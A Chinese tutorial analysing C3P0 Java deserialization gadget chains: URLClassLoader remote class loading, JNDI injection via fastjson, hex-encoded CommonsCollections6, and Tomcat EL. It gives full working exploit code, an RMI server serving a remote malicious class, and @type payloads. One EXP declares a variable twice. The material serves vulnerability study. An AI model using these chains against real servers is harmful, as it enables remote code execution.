C3P0 链 介绍 C3P0 是一个开源的 JDBC 连接池库,它提供了数据库连接的池化服务,帮助管理和优化数据库连接的开销,以提高应用程序的性能和可靠性。它的主要特性包括自动处理连接的分配和回收、自动重连、提供有关连接超时的配置、与任何遵循 JDBC 规范的数据库无缝工作,以及支持定时测试数据库连接的有效性。这些特性使得 C3P0 可以广泛应用于需要高性能数据库操作的企业应用程序中。
环境 jdk8u65
pom.xml 如下
1 2 3 4 5 <dependency > <groupId > com.mchange</groupId > <artifactId > c3p0</artifactId > <version > 0.9.5.2</version > </dependency >
Gadget C3P0常见的利用方式有如下三种
URLClassLoader远程类加载
JNDI注入
利用HEX序列化字节加载器进行反序列化攻击
URLClassLoader 利用链 1 2 3 PoolBackedDataSourceBase#readObject -> ReferenceSerialized#getObject -> ReferenceableUtils#referenceToObject
分析
可以看到用URLClassLoader类加载器加载了远程类,远程服务器地址和类名来自传入的Reference类参数,于是我们可以先尝试构造一个Reference作为参数调用referenceToObject函数。执行下面demo,发现可以执行我们远程服务器上的恶意类。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import com.mchange.v2.naming.ReferenceableUtils;import javax.naming.Reference;import java.lang.reflect.Constructor;public class Demo1 { public static void main (String[] args) throws Exception{ Class aClass = Class.forName("com.mchange.v2.naming.ReferenceableUtils" ); Constructor declaredConstructor = aClass.getDeclaredConstructor(); declaredConstructor.setAccessible(true ); ReferenceableUtils referenceableUtils= (ReferenceableUtils) declaredConstructor.newInstance(); Reference reference = new Reference (null , "evilexp" , "http://127.0.0.1:9999/" ); referenceableUtils.referenceToObject(reference,null ,null ,null ); } }
接着我们往上找调用referenceToObject函数的地方,在ReferenceIndirector的内部类ReferenceSerialized#getObject这个方法找到。
再写一个测试demo,ReferenceSerialized实现了IndirectlySerialized接口,IndirectlySerialized又继承了Serializable,所以是可以序列化的。一个比较简单的demo,调用了ReferenceSerialized$ReferenceSerialized#getObject,参数中的reference来自我们构造ReferenceSerialized时的参数。运行demo,成功执行我们的远程恶意类。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import javax.naming.Name;import javax.naming.Reference;import java.lang.reflect.Constructor;import java.lang.reflect.Method;import java.util.Hashtable;public class Demo2 { public static void main (String[] args) throws Exception{ Class aClass = Class.forName("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized" ); Constructor declaredConstructor = aClass.getDeclaredConstructor(Reference.class, Name.class, Name.class, Hashtable.class); declaredConstructor.setAccessible(true ); Reference reference = new Reference (null , "evilexp" , "http://127.0.0.1:9999/" ); Object referenceSerialized = declaredConstructor.newInstance(reference, null , null , null ); Method getObject = referenceSerialized.getClass().getDeclaredMethod("getObject" ); getObject.setAccessible(true ); getObject.invoke(referenceSerialized); } }
接着从入口类PoolBackedDataSourceBase#readObject方法入手。其实PoolBackedDataSourceBase类的序列化和反序列化与一般类有所不同。以下是p牛的一段话。
Java序列化的时候,和readObject对应的函数是writeObject。这两个函数中,我们通常会发现其中调用了out.defaultWriteObject()、out.defaultReadObject(),这两个函数的作用是什么? 正常情况下,如果开发者没有重写writeObject方法,则序列化时Java会将这个对象非静态、非transient的属性全部写到TC_OBJECT的classdata数组中。 out.defaultWriteObject()就是在执行这个默认的写入操作。所以,如果开发者重写了writeObject方法,但又没有在方法中调用out.defaultWriteObject(),那么等于就没有向序列化流中写入默认的属性。 这种情况比较特殊,一般就需要开发者自己对类的所有属性进行写入和重建。这种情况虽然少见,但也不是完全没有,比如说ysoserial的C3P0这条利用链中的com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase类,其writeObject中就没有调用defaultWriteObject。
那么PoolBackedDataSourceBase没有用默认的defaultWriteObject/defaultReadObject是如何序列化和反序列化的呢。该类的readObject和writeObject不难看出,他是对每一个属性单独进行序列化,然后写入序列化流。反序列化的时候,就从序列化流从一个个反序列化出那些属性。
而我们需要调用的getObject方法,是在反序列化出第一个变量的时候,调用的这个变量的getObject方法。那我们可以关注序列化过程中,第一个变量了。
不难看出是connectionPoolDataSource这个变量,但是这个变量是ConnectionPoolDataSource属性,并没有继承Serializable接口,所以反序列化失败,但是我们会对他使用ReferenceIndirector#indirectForm函数。
我们可以看到这个函数是返回了ReferenceSerialized属性的变量,而ReferenceSerialized我们前面提到过是可以序列化的,而且反序列化后的到的ReferenceSerialized类,调用其getObject方法正好可以走通我们的链。
那我们就可以关注返回的ReferenceSerialized类里的参数控制,显然ref使我们想控制的,它来自connectionPoolDataSource的getReference函数。此时我们的思路捋顺了,EXP就很简单了。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;import javax.naming.*;import javax.sql.ConnectionPoolDataSource;import javax.sql.PooledConnection;import java.io.*;import java.lang.reflect.Field;import java.util.logging.Logger;public class Demo3 { public static void main (String[] args) throws Exception { PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase (false ); Class aClass = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase" ); Field connectionPoolDataSource = aClass.getDeclaredField("connectionPoolDataSource" ); connectionPoolDataSource.setAccessible(true ); connectionPoolDataSource.set(poolBackedDataSourceBase,new evilClass ()); serialize(poolBackedDataSourceBase); unserialize("ser.bin" ); } public static class evilClass implements ConnectionPoolDataSource ,Referenceable { public Reference getReference () { return new Reference (null , "evilexp" , "http://127.0.0.1:9999/" ); } public PooledConnection getPooledConnection () {return null ;} public PooledConnection getPooledConnection (String user, String password) {return null ;} public PrintWriter getLogWriter () {return null ;} public void setLogWriter (PrintWriter out) {} public void setLoginTimeout (int seconds) {} public int getLoginTimeout () {return 0 ;} public Logger getParentLogger () {return null ;} } public static void serialize (Object obj) throws IOException { ObjectOutputStream objectOutputStream = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); objectOutputStream.writeObject(obj); } public static Object unserialize (String filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream (new FileInputStream (filename)); Object object=objectInputStream.readObject(); return object; } }
构造PoolBackedDataSourceBase对象,将其connectionPoolDataSource属性设置为一个恶意类,该类首先不能被序列化,然后要继承ConnectionPoolDataSource接口,因为其变量属性为这个接口,其次它要继承Referenceable,因为我们在ReferenceIndirector#indirectForm里面会强制类转换为Referenceable属性。
JNDI 利用链 1 2 3 4 5 6 7 8 9 10 11 #修改jndiName JndiRefConnectionPoolDataSource#setJndiName -> JndiRefForwardingDataSource#setJndiName #JNDI调用 JndiRefConnectionPoolDataSource#setLoginTime -> WrapperConnectionPoolDataSource#setLoginTime -> JndiRefForwardingDataSource#setLoginTimeout -> JndiRefForwardingDataSource#inner -> JndiRefForwardingDataSource#dereference() -> Context#lookup
分析 之前URLClassLoader中有一个类有lookup方法,这是容易导致jndi注入的方法,这里contextName是一个Name属性的变量,无法控制,我们需要一个String类型的变量做lookup的参数,右键lookup,点击查找用法,我们可以看其他的lookup方法。可以看到我们找到一个ctx.lookup方法,这是学习jndi注入经常看到的。
可以看到jndiName来自getJndiName函数,只要jndiName不是Name类型,就会返回String类型的jndiName。
但是这里getJndiName函数,该类是没有的,所以调用的是父类的getJndiName函数。所以我尝试反射调用这个类测试jndi注入失败。我们需要找到一个类,即调用到JndiRefForwardingDataSource对象(我们假设这个对象为A)的dereference函数,又调用了这个对象A的getJndiName函数,这样才能控制dereference中的jndiName变量,我们可以往上跟JNDI的链,同时关注JndiName
找到了JndiRefConnectionPoolDataSource类,
1 2 3 4 public void setJndiName ( Object jndiName ) throws PropertyVetoException { jrfds.setJndiName( jndiName ); }
1 2 3 4 5 6 public void setLoginTimeout (int seconds) throws SQLException { wcpds.setLoginTimeout( seconds ); }
我们调用了 jrfds的setJndiName,那我们最后也想从setLoginTimeout走到jrfds的dereference。
JndiRefConnectionPoolDataSource.java
1 2 3 4 5 6 7 8 9 10 11 12 public JndiRefConnectionPoolDataSource ( boolean autoregister ) { jrfds = new JndiRefForwardingDataSource (); wcpds = new WrapperConnectionPoolDataSource (); wcpds.setNestedDataSource( jrfds ); if (autoregister) { this .identityToken = C3P0ImplUtils.allocateIdentityToken( this ); C3P0Registry.reregister( this ); } }
WrapperConnectionPoolDataSourceBase.java
1 2 3 4 5 6 7 public synchronized void setNestedDataSource ( DataSource nestedDataSource ) { DataSource oldVal = this .nestedDataSource; this .nestedDataSource = nestedDataSource; if ( ! eqOrBothNull( oldVal, nestedDataSource ) ) pcs.firePropertyChange( "nestedDataSource" , oldVal, nestedDataSource ); }
1 2 3 4 public int setLoginTimeout () throws SQLException { return getNestedDataSource().setLoginTimeout(); }
仔细分析一下上面的关系,我们在JndiRefConnectionPoolDataSource.java
中将wcpds的nestedDataSource设置为jrfds。然后setLoginTimeout函数调用了wcpds的setLoginTimeout,在wcpds类中这个函数调用了nestedDataSource的setLoginTimeout,也就是jrfds的setLoginTimeout,从然调用了jrfds的dereference函数。
有点绕,但是耐心分析一下还是很容易分析清楚的,所以我们可以从JndiRefConnectionPoolDataSource类中,即调用jrfds的dereference函数,又调用jrfds的setJndiName函数。测试demo如下。
1 2 3 4 5 6 7 8 9 import com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource;public class JndiRefConnectionPoolDataSourceTest { public static void main (String[] args) throws Exception { JndiRefConnectionPoolDataSource jndiRefConnectionPoolDataSource = new JndiRefConnectionPoolDataSource (); jndiRefConnectionPoolDataSource.setJndiName("rmi://127.0.0.1:12312/evilexp" ); jndiRefConnectionPoolDataSource.setLoginTimeout(1 ); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.Reference;import java.rmi.Naming;import java.rmi.registry.LocateRegistry;public class RMIServer { void register () throws Exception{ LocateRegistry.createRegistry(12312 ); Reference reference = new Reference ("evilexp" ,"evilexp" ,"http://127.0.0.1:9999/" ); ReferenceWrapper refObjWrapper = new ReferenceWrapper (reference); Naming.bind("rmi://127.0.0.1:12312/evilexp" ,refObjWrapper); } public static void main (String[] args) throws Exception { new RMIServer ().register(); } }
要调用setJndiName和setLoginTimeout方法,显然可以在fastjson中利用。
1 2 3 4 5 <dependency > <groupId > com.alibaba</groupId > <artifactId > fastjson</artifactId > <version > 1.2.24</version > </dependency >
EXP 1 2 3 4 5 6 public class JndiRefConnectionPoolDataSourceEXP { public static void main (String[] args) { String payload = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource\"," + "\"jndiName\":\"rmi://127.0.0.1:12312/evilexp\",\"LoginTimeout\":\"1\"}" ; JSON.parse(payload); } }
1 2 3 4 { "@type" : "com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource" , "jndiName" : "rmi://127.0.0.1:12312/evilexp" , "LoginTimeout" : "1" }
hexbase 利用链 该利用链能够反序列化一串十六进制字符串,因此实际利用需要有存在反序列化漏洞的组件。
1 2 3 4 5 6 7 8 9 10 #设置userOverridesAsString属性值 WrapperConnectionPoolDataSource#setuserOverridesAsString -> WrapperConnectionPoolDataSourceBase#setUserOverridesAsString #初始化类时反序列化十六进制字节流 WrapperConnectionPoolDataSource#WrapperConnectionPoolDataSource -> C3P0ImplUtils#parseUserOverridesAsString -> SerializableUtils#fromByteArray -> SerializableUtils#deserializeFromByteArray -> ObjectInputStream#readObject
分析 这一条链自己没有特别的理解,就正向分析吧。userOverrides的赋值是调用了C3P0ImplUtils#parseUserOverridesAsString
方法,大概意思是解析UserOverrides成字符串,也是可能出现反序列化漏洞的地方。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public WrapperConnectionPoolDataSource (boolean autoregister) { super ( autoregister ); setUpPropertyListeners(); try { this .userOverrides = C3P0ImplUtils.parseUserOverridesAsString( this .getUserOverridesAsString() ); } catch (Exception e) { if ( logger.isLoggable( MLevel.WARNING ) ) logger.log( MLevel.WARNING, "Failed to parse stringified userOverrides. " + this .getUserOverridesAsString(), e ); } }
从输入字符串中提取特定部分,得到十六进制字符串hexAscii
,然后使用ByteUtils.fromHexAscii
方法将十六进制字符串hexAscii
转换为字节数组serBytes
,最后使用SerializableUtils.fromByteArray
方法将字节数组serBytes
反序列化为一个Map
对象,然后使用Collections.unmodifiableMap
将此Map
转换为不可修改的Map
并返回。
该函数目的是将一个特定格式的字符串(包含序列化对象的十六进制表示)解析成一个Java Map
对象。可以看到SerializableUtils.fromByteArray( serBytes )
,有敏感的序列化字样。
1 2 3 4 5 6 7 8 9 10 11 public static Map parseUserOverridesAsString ( String userOverridesAsString ) throws IOException, ClassNotFoundException { if (userOverridesAsString != null ) { String hexAscii = userOverridesAsString.substring(HASM_HEADER.length() + 1 , userOverridesAsString.length() - 1 ); byte [] serBytes = ByteUtils.fromHexAscii( hexAscii ); return Collections.unmodifiableMap( (Map) SerializableUtils.fromByteArray( serBytes ) ); } else return Collections.EMPTY_MAP; }
出现了deserializeFromByteArray( bytes )
,根据函数名看出是从bytes这个字节数组反序列化,所以这个函数会接着调用反序列化方法readObject。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public static Object fromByteArray (byte [] bytes) throws IOException, ClassNotFoundException { Object out = deserializeFromByteArray( bytes ); if (out instanceof IndirectlySerialized) return ((IndirectlySerialized) out).getObject(); else return out; } -------------------------------------------------------------------------------public static Object deserializeFromByteArray (byte [] bytes) throws IOException, ClassNotFoundException { ObjectInputStream in = new ObjectInputStream (new ByteArrayInputStream (bytes)); return in.readObject(); }
我们需要控制的参数来自WrapperConnectionPoolDataSource.getUserOverridesAsString()
,由于该类没有这个方法,会调用父类WrapperConnectionPoolDataSourceBase
的getUserOverridesAsString
。
1 2 3 4 public synchronized String getUserOverridesAsString () { return userOverridesAsString; }
而userOverridesAsString来自setUserOverridesAsString函数的设置。
1 2 3 4 5 6 7 public synchronized void setUserOverridesAsString ( String userOverridesAsString ) throws PropertyVetoException { String oldVal = this .userOverridesAsString; if ( ! eqOrBothNull( oldVal, userOverridesAsString ) ) vcs.fireVetoableChange( "userOverridesAsString" , oldVal, userOverridesAsString ); this .userOverridesAsString = userOverridesAsString; }
所以我们需要设置的是userOverridesAsString为一个反序列化payload的字节数组的16进制编码。当然前面加个HexAsciiSerializedMap,因为我们中途会截取掉这个字符串长度+1的内容。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 import com.alibaba.fastjson.JSON;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.beans.PropertyVetoException;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class HexBaseFastjsonEXP { public static Map CC6 () throws NoSuchFieldException, IllegalAccessException { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> hashMap = new HashMap <>(); Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer ("five" )); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap, "key" ); HashMap<Object, Object> expMap = new HashMap <>(); expMap.put(tiedMapEntry, "value" ); lazyMap.remove("key" ); Class<LazyMap> lazyMapClass = LazyMap.class; Field factoryField = lazyMapClass.getDeclaredField("factory" ); factoryField.setAccessible(true ); factoryField.set(lazyMap, chainedTransformer); return expMap; } public static byte [] toByteArray(Object o) throws IOException { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(o); return byteArrayOutputStream.toByteArray(); } public static String bytesToHex (byte [] bytes) { StringBuilder hexString = new StringBuilder (); for (byte b : bytes) { String hex = Integer.toHexString(0xFF & b); if (hex.length() == 1 ) { hexString.append('0' ); } hexString.append(hex); } return hexString.toString().toUpperCase(); } public static void main (String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, PropertyVetoException { String hex = bytesToHex(toByteArray(CC6())); System.out.println(hex); String payload = "{" + "\"1\":{" + "\"@type\":\"java.lang.Class\"," + "\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"" + "}," + "\"2\":{" + "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," + "\"userOverridesAsString\":\"HexAsciiSerializedMap:" + hex + ";\"," + "}" + "}" ; String payload = "{" + "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," + "\"userOverridesAsString\":\"HexAsciiSerializedMap:" + hex + ";\"," + "}" ; JSON.parse(payload); } }
坑点 我们应该是先执行了WrapperConnectionPoolDataSource类的初始化函数,然后在构造函数中执行了反序列化操作,此时的userOverridesAsString
属性是空的,还没有用setter函数为其赋值,那为什么最后我们可以触发指令呢?其实在初始化之后进入setUserOverridesAsString函数。我们会把构造的userOverridesAsString与之前的userOverridesAsString也就是null作比较,不同会进入 vcs.fireVetoableChange函数
1 2 3 4 5 6 7 public synchronized void setUserOverridesAsString ( String userOverridesAsString ) throws PropertyVetoException { String oldVal = this .userOverridesAsString; if ( ! eqOrBothNull( oldVal, userOverridesAsString ) ) vcs.fireVetoableChange( "userOverridesAsString" , oldVal, userOverridesAsString ); this .userOverridesAsString = userOverridesAsString; }
最后来到WrapperConnectionPoolDataSource的vetoableChange函数,这里的propName的值为字符串“userOverridesAsString”,val的值是我们构造的userOverridesAsString的值。可以看到,当我们propName与字符串“userOverridesAsString”相等的时候,会调用C3P0ImplUtils.parseUserOverridesAsString( (String) val ),此时我们就会用我们构造的userOverridesAsString去反序列化了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 public void vetoableChange ( PropertyChangeEvent evt ) throws PropertyVetoException { String propName = evt.getPropertyName(); Object val = evt.getNewValue(); if ( "connectionTesterClassName" .equals( propName ) ) { try { recreateConnectionTester( (String) val ); } catch ( Exception e ) { if ( logger.isLoggable( MLevel.WARNING ) ) logger.log( MLevel.WARNING, "Failed to create ConnectionTester of class " + val, e ); throw new PropertyVetoException ("Could not instantiate connection tester class with name '" + val + "'." , evt); } } else if ("userOverridesAsString" .equals( propName )) { try { WrapperConnectionPoolDataSource.this .userOverrides = C3P0ImplUtils.parseUserOverridesAsString( (String) val ); } catch (Exception e) { if ( logger.isLoggable( MLevel.WARNING ) ) logger.log( MLevel.WARNING, "Failed to parse stringified userOverrides. " + val, e ); throw new PropertyVetoException ("Failed to parse stringified userOverrides. " + val, evt); } } }
不出网利用 在学习jndi高版本绕过的时候,会用到加载本地的Factory类进行攻击这种攻击方式。如通过加载Tomcat8中的org.apache.naming.factory.BeanFactory
进行EL表达式注入,但是需要getObjectInstance方法。而在我们URLClassLoader链中,出现了这个方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;import org.apache.naming.ResourceRef;import javax.naming.*;import javax.sql.ConnectionPoolDataSource;import javax.sql.PooledConnection;import java.io.*;import java.lang.reflect.Field;import java.util.logging.Logger;public class C3P0_Tomcat_EL { public static void main (String[] args) throws Exception { PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase (false ); Class aClass = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase" ); Field connectionPoolDataSource = aClass.getDeclaredField("connectionPoolDataSource" ); connectionPoolDataSource.setAccessible(true ); connectionPoolDataSource.set(poolBackedDataSourceBase,new evilClass ()); serialize(poolBackedDataSourceBase); unserialize("ser.bin" ); } public static class evilClass implements ConnectionPoolDataSource ,Referenceable { public Reference getReference () { ResourceRef resourceRef = new ResourceRef ("javax.el.ELProcessor" ,null ,"" ,"" , true ,"org.apache.naming.factory.BeanFactory" ,null ); resourceRef.add(new StringRefAddr ("forceString" , "x=eval" )); resourceRef.add(new StringRefAddr ("x" ,"Runtime.getRuntime().exec('calc')" )); return resourceRef; } public PooledConnection getPooledConnection () {return null ;} public PooledConnection getPooledConnection (String user, String password) {return null ;} public PrintWriter getLogWriter () {return null ;} public void setLogWriter (PrintWriter out) {} public void setLoginTimeout (int seconds) {} public int getLoginTimeout () {return 0 ;} public Logger getParentLogger () {return null ;} } public static void serialize (Object obj) throws IOException { ObjectOutputStream objectOutputStream = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); objectOutputStream.writeObject(obj); } public static Object unserialize (String filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream (new FileInputStream (filename)); Object object=objectInputStream.readObject(); return object; } }